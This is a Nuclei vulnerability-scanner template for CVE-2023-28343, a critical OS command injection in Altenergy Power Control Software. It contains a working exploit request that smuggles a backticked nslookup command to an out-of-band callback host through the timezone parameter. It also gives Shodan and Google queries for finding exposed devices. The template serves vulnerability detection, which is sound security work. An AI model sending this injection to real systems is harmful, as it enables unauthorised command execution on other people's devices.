nuclei-templates/cves/2023/CVE-2023-28343.yaml

55 lines
1.6 KiB
YAML

id: CVE-2023-28343
info:
name: Altenergy Power Control Software - Command Injection
author: pikpikcu
severity: critical
description: |
OS command injection affects Altenergy Power Control Software C1.2.5 via shell metacharacters in the index.php/management/set_timezone timezone parameter, because of set_timezone in models/management_model.php.
reference:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-28343
- https://github.com/ahmedalroky/Disclosures/blob/main/apesystems/os_command_injection.md
- https://apsystems.com
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-28343
cwe-id: CWE-78
metadata:
google-query: intitle:"Altenergy Power Control Software"
shodan-query: title:"Altenergy Power Control Software"
tags: cve,cve2023,oast,altenergy,iot
requests:
- raw:
- |
POST /index.php/management/set_timezone HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Referer: {{RootURL}}/index.php/management/datetime
timezone=`nslookup {{interactsh-url}}`
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: word
part: body
words:
- "Time Zone updated successfully"
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200